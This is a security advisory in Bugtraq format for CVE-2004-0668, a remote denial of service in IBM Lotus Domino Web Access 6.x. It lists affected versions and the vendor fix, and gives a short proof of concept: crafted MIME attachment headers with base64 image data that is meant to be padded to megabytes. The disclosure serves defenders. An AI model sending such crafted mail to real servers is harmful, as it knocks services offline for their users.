IBM Lotus Domino Server Web Access Malicious Email View Remote Denial Of Service Vulnerability

BID:10641

Info

IBM Lotus Domino Server Web Access Malicious Email View Remote Denial Of Service Vulnerability

Bugtraq ID: 10641
Class: Failure to Handle Exceptional Conditions
CVE: CVE-2004-0668
Remote: Yes
Local: No
Published: Jun 30 2004 12:00AM
Updated: Jul 12 2009 05:16AM
Credit: Discovery of this vulnerability is credited to Andreas Klein <[email protected]>.
Vulnerable: Lotus Domino 6.5.1
IBM Lotus Domino 6.5.2
IBM Lotus Domino 6.5.1
IBM Lotus Domino 6.5 .0
IBM Lotus Domino 6.0.3
IBM Lotus Domino 6.0.2 CF2
IBM Lotus Domino 6.0.2
IBM Lotus Domino 6.0.1
IBM Lotus Domino 6.0
Not Vulnerable:

Discussion

IBM Lotus Domino Server Web Access Malicious Email View Remote Denial Of Service Vulnerability

Lotus Domino Server is reported prone to a remote denial of service vulnerability. The issue is reported to exist when a malicious email that is received on the affected server, is opened through the Domino Web Access interface by a client.

A remote attacker may exploit this condition to deny Lotus Domino service to legitimate users.

Exploit / POC

IBM Lotus Domino Server Web Access Malicious Email View Remote Denial Of Service Vulnerability

The following proof of concept is available:
(just paste all the lines below into the body of the mail)
--- snip here; do not paste this line --
Content-Disposition: Attachment; filename="PC210017.JPG"
Content-Type: image/jpeg;
Name="PC210017.JPG"
Content-Transfer-Encoding: Base64

/9j/4Re0RXhpZgAASUkqAAgAAAALAA4BAgAgAAAAkgAAAA8BAgAYAAAAsgAAABABAgAMAAAA
ygAAABIBAwABAAAAAQAAABoBBQABAAAA2AAAABsBBQABAAAA4AAAACgBAwABAAAAAgAAADEB
AgAJAAAA6AAAADIBAgAUAAAACAEAABMCAwABAAAAAgAAAGmHBAABAAAAHAEAAAADAABPTFlN
[Add here some megabytes of data. 1kB is not enough, but 12MB was
sufficient in all my tests]
--- snip here; do not pste this line ---

Solution / Fix

IBM Lotus Domino Server Web Access Malicious Email View Remote Denial Of Service Vulnerability

Solution:
IBM has announced that fixes for this issue will be included in Lotus Domino 6.0.5 and 6.5.3 when these versions are released.

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IBM Lotus Domino Server Web Access Malicious Email View Remote Denial Of Service Vulnerability

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